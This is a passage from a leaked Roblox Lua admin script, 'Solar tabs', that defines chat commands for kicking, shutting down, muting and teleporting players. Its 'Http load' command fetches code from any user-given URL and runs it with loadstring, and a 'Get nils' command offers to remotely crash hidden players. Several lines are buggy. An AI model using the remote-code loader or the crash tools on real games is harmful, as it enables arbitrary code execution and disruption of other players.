			for _,v in pairs(GetPlayers(p,m)) do
1608
				pcall(function()
1609
					v:Kick()
1610
				end)
1611
			end
1612
		end
1613
	end
1614
)
1615
AddCmd("Fix rotation","fixrot","Fix the rotation","<no arguments>",0,
1616
	function(p)
1617
		function UpdateTablets()
1618
			pcall(function()
1619
				Air["Rotation"]=Air["Rotation"]+Air["RotationAddValue"]/100 				
1620
				for _,v in pairs(game.Players:players()) do
1621
					local PT={}
1622
					local Curr=0
1623
					for _,t in pairs(Air["Tabs"])do
1624
						if t.Owner==v then
1625
							table.insert(PT, t)
1626
						end
1627
					end
1628
					for i=1,#PT do
1629
						local pos = v.Character.Torso.CFrame
1630
						local m=(i/#PT-(.5/#PT)+(Air["Rotation"]/(#PT/10)))*math.pi*2
1631
						local rad=(#PT*.6)+4
1632
						local x=math.sin(m)*(rad)
1633
						local y=math.sin(time()/5)
1634
						local z=math.cos(m)*rad
1635
						local arot=Vector3.new(x,y,z)+pos.p
1636
						local brot=PT[i].P.CFrame.p
1637
						local crot=arot*.1+brot *.9
1638
						local d=math.rad((Air["Rotation"]*300)*math.pi)
1639
						PT[i].P.CFrame=CFrame.new(crot,pos.p)*CFrame.Angles(d,d,d)
1640
					end
1641
				end
1642
			end)
1643
		end
1644
		if RotCon then
1645
			RotCon:disconnect()
1646
		end
1647
		wait(1)
1648
		RotCon = game:service'RunService'.Stepped:connect(function()
1649
				UpdateTablets()
1650
		end)
1651
		Solar["Rotation"] = 0
1652
		Solar["RotationAddValue"] = 0.1
1653
		Output(p,"Rotation fixed.",GetColor(p))
1654
	end
1655
)
1656
AddCmd("Shutdown","sd","Shuts the server down","-u (update)",3,
1657
	function(p,m)
1658
		if GetSplit(m) == 'u' then
1659
			for i,v in pairs(game.Players:players()) do
1660
				coroutine.wrap(function()
1661
					pcall(function()
1662
						NewLS([[
1663
							wait(0.001)
1664
							script:ClearAllChildren()
1665
							script.Parent = nil
1666
							lp = game:service'Players'.LocalPlayer
1667
							pcall(function()
1668
								lp:Kick()
1669
							end)
1670
							wait()
1671
							local a = Instance.new("Message",workspace)
1672
							a.Text = "You will be back for 10 seconds, don't leave"
1673
							wait(10)
1674
							game:service'TeleportService':Teleport(game.PlaceId)
1675
							]],v:findFirstChild'Backpack' or v:findFirstChild'PlayerGui' or v.Character)
1676
						coroutine.wrap(function()
1677
							wait(1)
1678
							if v ~= nil then
1679
								v:Kick()
1680
							end
1681
						end)()
1682
						game.Players.ChildAdded:connect(function(pl)
1683
							wait(3)
1684
							plr:Destroy()
1685
						end)
1686
					end)
1687
				end)()
1688
			end
1689
		else
1690
			for _,v in pairs(game.Players:getPlayers()) do
1691
				v:Kick()
1692
				wait();
1693
				v:remove()
1694
			end
1695
		end
1696
	end
1697
)
1698
1699
AddCmd("Teleport","tp","Teleport yourself to another place","No argumentios",0,--It can be anyone
1700
    function(p,m)
1701
        NewLS([[game:service'TeleportService':Teleport(]]..m..[[)]],p.Backpack)
1702
    end
1703
)
1704
1705
AddCmd("God","god","Gods a person",'no args',1,
1706
    function(p,m)
1707
        for i,v in pairs(GetPlayers(p,m)) do
1708
            if v.Character then
1709
                if v.Character.Humanoid then
1710
                    v.Character.Humanoid.MaxHealth = math.huge
1711
                end
1712
            end
1713
        end
1714
end)
1715
1716
AddCmd("Message",'m',"Creates a message","-h (Hint), -t (Time)",2, --we dont need arguments for dat
1717
    function(p, m) --p = player
1718
        for _,v in pairs(workspace:children()) do
1719
        	if v.ClassName == 'Message' or v.ClassName == 'Hint' then
1720
        		v:Destroy()
1721
    		end
1722
		end
1723
		if GetSplit(m) == "h" then
1724
			m = m:gsub('-h','')
1725
			local a = Instance.new("Hint", workspace)
1726
			a.Text = '['..p.Name..']: '..m
1727
			game:service'Debris':AddItem(a,5)
1728
		elseif GetSplit(m) == 't' then
1729
			m = m:gsub('-t','')
1730
			local time = tonumber(m:sub(1,3))
1731
			m = m:gsub(tostring(time),'')
1732
			local a = Instance.new("Message", workspace)
1733
			a.Text = '['..p.Name..']: '..m
1734
			game:service'Debris':AddItem(a,time)
1735
		else
1736
			local a = Instance.new('Message',workspace)
1737
			a.Text = '['..p.Name..']: '..m
1738
			game:service'Debris':AddItem(a,5)
1739
		end
1740
	end
1741
)
1742
AddCmd("Run-time","runtime","Shows the time Solar has been running","No args",0,
1743
	function(p)
1744
		Output(p,('Air has been running for %d:%d:%d'):format(Hours,Minutes,Seconds))
1745
		Output(p,('Air has been running for '..Hours..' hours, '..Minutes..' minutes, and '..Seconds..' seconds!'))
1746
	end
1747
)
1748
AddCmd("Pri","pri","Toggle private server","-on (Turns PRI on), -off (Turns PRI off)",4,--Heheheheh :)
1749
    function(p, m)
1750
        if GetSplit(m) == "on" then
1751
            m = m:gsub('-on','')
1752
            PrivateServer = true
1753
            for i,v in pairs(game:service'Players':players()) do
1754
            	if GetRank(v) < 0.1 then
1755
            		pcall(function()
1756
            			coroutine.wrap(function()
1757
            				repeat v:Kick() wait() until v == nil
1758
        				end)()
1759
    				end)
1760
				end
1761
			end
1762
			OutputAdmins("WARNING: Private server is on","Really red")
1763
        elseif GetSplit(m) == "off" then
1764
            m=m:gsub('-off','')
1765
            wait()
1766
            PrivateServer = true
1767
			OutputAdmins("Private server is off","Really red")
1768
		end
1769
	end
1770
)
1771
AddCmd("Mute","mute","Block player's chat","-u (unmute)",2,
1772
	function(p,m)
1773
		if GetSplit(m) == "u" then
1774
			m = m:gsub('-u','')
1775
			for i,v in pairs(GetPlayers(p,m)) do
1776
				if v and v.Backpack then
1777
					NewLS("game:service'StarterGui':SetCoreGuiEnabled('All',true)",v.Backpack)
1778
				end
1779
			end
1780
		else
1781
			for i,v in pairs(GetPlayers(p,m)) do
1782
				if v and v.Backpack then
1783
					NewLS("game:service'StarterGui':SetCoreGuiEnabled('All',false)",v.Backpack)
1784
				end
1785
			end
1786
		end
1787
	end
1788
)
1789
AddCmd("Rejoin","rj","Rejoins player",'no arguments',2,
1790
    function(p,m)
1791
        for _,v in pairs(GetPlayers(p,m)) do
1792
    		game:service'TeleportService':Teleport(game.PlaceId,v.Character)
1793
    	end
1794
    end
1795
)
1796
AddCmd("Player Info","pinfo","Shows player info","No argmentz",1,
1797
    function(p,m)
1798
        for _,v in pairs(GetPlayers(p,m)) do
1799
            Output(p,v.Name.."'s account age is "..v.AccountAge.." days")
1800
            Output(p,"Name: "..v.Name)
1801
            Output(p,v.Name.."'s account-id is: "..v.userId)
1802
        end
1803
    end
1804
)
1805
AddCmd("Warn","warn","Warns a player","No arguments",2,
1806
    function(p,m)
1807
    	local k = m:find(',')
1808
    	local plr = m:sub(1,tonumber(k)-1)
1809
    	local txt = m:sub(tonumber(k)+1)
1810
    	for i,v in pairs(GetPlayers(p,plr)) do
1811
    		Output(v,p.Name..' warns you for: '..txt,'Really red')
1812
		end
1813
    end
1814
)
1815
AddCmd("Disconnect","disc","Disconnect a player (can disconnect nilled players)","-n (nil players), -a (all players)",3,
1816
	function(p,m)
1817
		if GetSplit(m) == "n" then
1818
			Disconnect('nil')
1819
			if Not == true then
1820
			Output(p,'You disconnected all connected nil players','Really red')
1821
			end
1822
		elseif GetSplit(m) == 'a' then
1823
			Disconnect('all')
1824
			if Not == true then
1825
			Output(p,'You disconnected all players and shutdowned the server','Really red')
1826
			end
1827
		else
1828
			Disconnect(m)
1829
			if Not == true then
1830
			Output(p,'You disconnected: '..m,'Really red')
1831
			end
1832
		end
1833
	end
1834
)
1835
AddCmd('Get nils','nilp','Get nil players in game','<no arguments>',1,
1836
	function(p)
1837
		for i,v in pairs(game:service'NetworkServer':children()) do
1838
			if v:GetPlayer() then
1839
				if v:GetPlayer().Parent ~= game:service'Players' then
1840
					Output(p,v:GetPlayer().Name,'Really red', function() 
1841
						Dismiss(p) 
1842
						if GetRank(v:GetPlayer().Name) < GetRank(p) then 
1843
							Output(p,'Try to remote disconnect: '..v:GetPlayer().Name..'?','Really red',function()
1844
								RemoteCrash(v:GetPlayer().Name) 
1845
							end)
1846
						end
1847
					end)
1848
				end
1849
			end
1850
		end
1851
	end
1852
)
1853
AddCmd("Explore","explore","Explore the game","<no arguments>",1,
1854
	function(p,m)
1855
		Explore(p)
1856
	end
1857
)
1858
AddCmd("Nil support","connect","Connect yourself to nil support","<no arguments>",3,
1859
	function(p)
1860
		pcall(function()
1861
			NewLS(NilSupport,p:findFirstChild'Backpack' or p:findFirstChild'PlayerGui' or p.Character)
1862
			NewLS(PixelChatSource,p:findFirstChild'Backpack' or p:findFirstChild'PlayerGui' or p.Character)
1863
		end)
1864
1865
	end
1866
)
1867
1868
AddCmd("Pixel chat","pc","Local pixel chat to yourself","<no arguments>",3,
1869
	function(p)
1870
		pcall(function()
1871
			NewLS(PixelChatSource, p:findFirstChild'Backpack' or p:findFirstChild'PlayerGui' or p.Character)
1872
		end)
1873
	end
1874
)
1875
AddCmd("Http load",'hload','Load a script via http service','-l (local) -s (server-sided)',3,
1876
	function(p,m)
1877
		if GetSplit(m) == 'l' then
1878
			m = m:gsub('-l','')
1879
			http = true
1880
			scr = 'a = Instance.new("Hint",workspace) a.Text = "Link not found" game:service("Debris"):AddItem(a,3)'
1881
			val = 'asd'
1882
			a,b = ypcall(function()
1883
				h = game:service'HttpService'
1884
				scr = h:GetAsync('https://code.stypi.com/',true)
1885
			end) if not a then http = false end
1886
			if http == false then
1887
				Output(p,'HttpService is off, hload is unable to use.','Really red')
1888
			end
1889
			if http ~= false then
1890
				h = game:service'HttpService'
1891
				scr = h:GetAsync(m,true)
1892
				a = Instance.new("StringValue",game.Lighting)
1893
				a.Name = 'Script '..tostring(math.random(-99999,99999))
1894
				val = a.Name
1895
			end
1896
			pcall(function()
1897
				NewLS("wait(1) a,b = pcall(function() loadstring(game.Lighting."..val..".Value)() end) if not a then Instance.new('Hint',workspace).Text=b end",p:findFirtChild'Backpack' or p:findFirstChild'PlayerGui' or p.Character)
1898
			end)
1899
		elseif GetSplit(m) == 's' then
1900
			m = m:gsub('-s','')
1901
			NewS([[
1902
			a,b = ypcall(function()
1903
				h = game:service'HttpService'
1904
				_ = ']]..m..[['
1905
				s = h:GetAsync(_,true)
1906
				loadstring(s)()
1907
			end) if not a then Instance.new("Message",workspace).Text=b end
1908
			]], workspace)
1909
		else
1910
			NewS([[
1911
			a,b = ypcall(function()
1912
				h = game:service'HttpService'
1913
				_ = ']]..m..[['
1914
				s = h:GetAsync(_,true)
1915
				loadstring(s)()
1916
			end) if not a then Instance.new("Message",workspace).Text=b end
1917
			]], workspace)
1918
		end
1919
	end
1920
)
1921
AddCmd("Fix lighting","flig","Fixes lighting","No arguments",0,
1922
    function()
1923
		local lighting = game:service'Lighting'
1924
		lighting.GeographicLatitude=41.733299255371;
1925
		lighting.ColorShift_Bottom=_RGB(0,0,0);
1926
		lighting.ShadowColor=_RGB(179,179,179);
1927
		lighting.ColorShift_Top=_RGB(0,0,0);
1928
		lighting.FogColor=_RGB(192,192,192);
1929
		lighting.Ambient=_RGB(128,128,128);
1930
		lighting.TimeOfDay='14:00:00';
1931
		lighting.GlobalShadows=false;
1932
		lighting.Name='Lighting';
1933
		lighting.archivable=true;
1934
		lighting.Outlines=false;
1935
		lighting.Brightness=1;
1936
		lighting.FogEnd=1e5;
1937
		lighting.FogStart=0;
1938
		local c=lighting:children();
1939
		for i=1,#c do
1940
			if(c[i].className=='Sky')then
1941
				pcall(function() c[i]:remove() end)
1942
			end;
1943
		end;
1944
	end
1945
)
1946
AddCmd("Lock scripting","lockscr","Lock scripting","-u (unlock)",4,
1947
	function(p,m)
1948
		if GetSplit(m) == 'u' then
1949
			ScriptingLocked = false
1950
		   	OutputAdmins("Scripting is unlocked")
1951
		else
1952
			ScriptingLocked = true
1953
			OutputAdmins("WARNING: SCRIPTING IS LOCKED","Really red")
1954
		end
1955
	end
1956
)
1957
AddCmd("Ask for rank-up","afrup","Ask admins for rank up","<no arguments>",0,
1958
	function(p,m)
1959
		if GetRank(p) > 3 then
1960
			Output(p,'Your rank is more than 3, you can\'t ask for rank-up','Really red')
1961
		else
1962
			OutputAdmins(p.Name..' (rank '..GetRank(p)..') asks for rank up','Really red')
1963
		end
1964
	end
1965
)
1966
AddCmd("Private message","pm",'Show a player a private message (\',\' to separate player name from text)','<no arguments>',1,
1967
	function(p,m)
1968
		local sep = m:find(',')
1969
		local plr = m:sub(1,tonumber(sep)-1)
1970
		local msg = m:sub(tonumber(sep)+1)
1971
		for i,v in pairs(GetPlayers(p,plr)) do
1972
			PrivateMessage(p,v,msg)
1973
		end
1974
	end
1975
)
1976
--[[END OF COMMANDS]]--
1977
coroutine.wrap(function()
1978
	for _,v in pairs(game.Players:players()) do
1979
		local con = v.Chatted:connect(function(msg)
1980
			OnChatted(v,msg)
1981
		end)
1982
		ChatConnections[#ChatConnections+1] = con
1983
		if v.AccountAge < 10 then
1984
			if Not == true then
1985
				OutputAdmins(v.Name.." has been kicked for age less than 15","Really red")--Sorry new people :(
1986
			end
1987
			pcall(function()
1988
				coroutine.wrap(function()
1989
					repeat v:Kick() wait(0.1) until v == nil
1990
				end)()
1991
			end)
1992
		end
1993
		if PrivateServer then
1994
			if GetRank(v) < 0.1 then
1995
				if Not == true then
1996
					OutputAdmins(v.Name.." has been kicked due to private server","Really red")
1997
				end
1998
				pcall(function()
1999
					coroutine.wrap(function()
2000
						repeat v:Kick() wait(0.1) until v == nil
2001
					end)()
2002
				end)
2003
			end
2004
		end
2005
		Connect(v)
2006
	end
2007
	PACon = game.Players.ChildAdded:connect(function(plr)
2008
		wait(1)
2009
		if GetRank(plr) < -0.5 then
2010
			if Not == true then
2011
				OutputAdmins(plr.Name.." has been kicked due to ban","Really red")
2012
			end
2013
			pcall(function()
2014
				coroutine.wrap(function()
2015
					repeat plr:Kick() wait(0.1) until plr == nil
2016
				end)()
2017
			end)
2018
		elseif PrivateServer then
2019
			if GetRank(plr) < 0.1 then
2020
				if Not == true then
2021
					OutputAdmins(plr.Name.." has been kicked due to private server","Really red")
2022
				end
2023
				pcall(function() 
2024
					coroutine.wrap(function()
2025
						repeat plr:Kick() wait(0.1) until plr == nil
2026
					end)()
2027
				end)
2028
			end
2029
		elseif plr.AccountAge < 15 then
2030
			if Not == true then
2031
				OutputAdmins(plr.Name.." has been kicked for age less than 15","Really red")
2032
			end
2033
			pcall(function()
2034
				coroutine.wrap(function()
2035
					repeat plr:Kick() wait(0.1) until plr == nil
2036
				end)()
2037
			end)
2038
		else
2039
			if Not == true then
2040
				OutputAdmins(plr.Name.." has joined the game","Lime green")
2041
			end
2042
		end
2043
		wait(0.5)
2044
		local con = plr.Chatted:connect(function(msg)
2045
			OnChatted(plr,msg)
2046
		end)
2047
		ChatConnections[#ChatConnections+1] = con
2048
		Connect(plr)
2049
	end)
2050
end)()
2051
--[[OWNER SAFETY]]--
2052
2053
2054
2055
--[[NILS ON CHATTED SUPPORT]]--
2056
local con = game:service'Workspace'.descendantAdded:connect(function(asd)
2057
	if asd.ClassName == 'StringValue' then
2058
		if asd.Name == 'LolCon' then
2059
			local k = asd.Value:find('\31')
2060
			local plr = asd.Value:sub(1,tonumber(k)-1)
2061
			local msg = asd.Value:sub(tonumber(k)+1)
2062
			for i,v in pairs(game:service'Players':players()) do
2063
				if v.Name == plr then
2064
					return
2065
				end
2066
			end
2067
			OnChatted(plr,msg)
2068
		end
2069
	end
2070
end)
2071
ChatConnections[#ChatConnections+1] = con
2072
--[[END OF NILS CHATTED SUPPORT]]--
2073
--[[NILS UPDATE TABLETS]]--
2074
game:service'RunService'.Stepped:connect(function()
2075
	UpdateNilPlayersTablets()
2076
end)
2077
workspace.descendantAdded:connect(function(a)
2078
	if a.ClassName == 'Script' or a.ClassName == 'LocalScript' then
2079
		if ScriptingLocked == true then
2080
			if a.Name == "Animate" then return end
2081
			a.Disabled = true
2082
			a:remove()
2083
		end
2084
	end
2085
end)	
2086
workspace.descendantAdded:connect(function(a)
2087
	pcall(function()
2088
		x = 0
2089
		for i,v in pairs(workspace:children()) do
2090
			if v.ClassName == 'Message' or v.ClassName == 'Hint' then
2091
				x = x + 1
2092
			end
2093
		end
2094
		if x > MessageLimit then
2095
			for i,v in pairs(workspace:children()) do
2096
				if v.ClassName == 'Message' or v.ClassName == 'Hint' then
2097
					v:remove()
2098
				end
2099
			end
2100
			if Not == true then
2101
			    OutputAdmins(string.format('Removed %d messages/hints due to message/hint limit',x),'Really red')
2102
			end
2103
		end
2104
	end)
2105
end)
2106
for i,x in pairs(game.Players:players()) do
2107
Output(x,'Solar tabs leaked loaded.','Light blue')
2108
Output(x,'Created by: (optiplex123, aleksa12432)','Light blue')
2109
Output(x,'say cmds/ for a list of cmds!','Light blue')
2110
end
2111
end) if not a then Instance.new('Message',workspace).Text = b end
2112
--[[END OF NILS UPDATE TABLETS]]--
2113
--Thanks for using Solar--
2114
--See you later :)--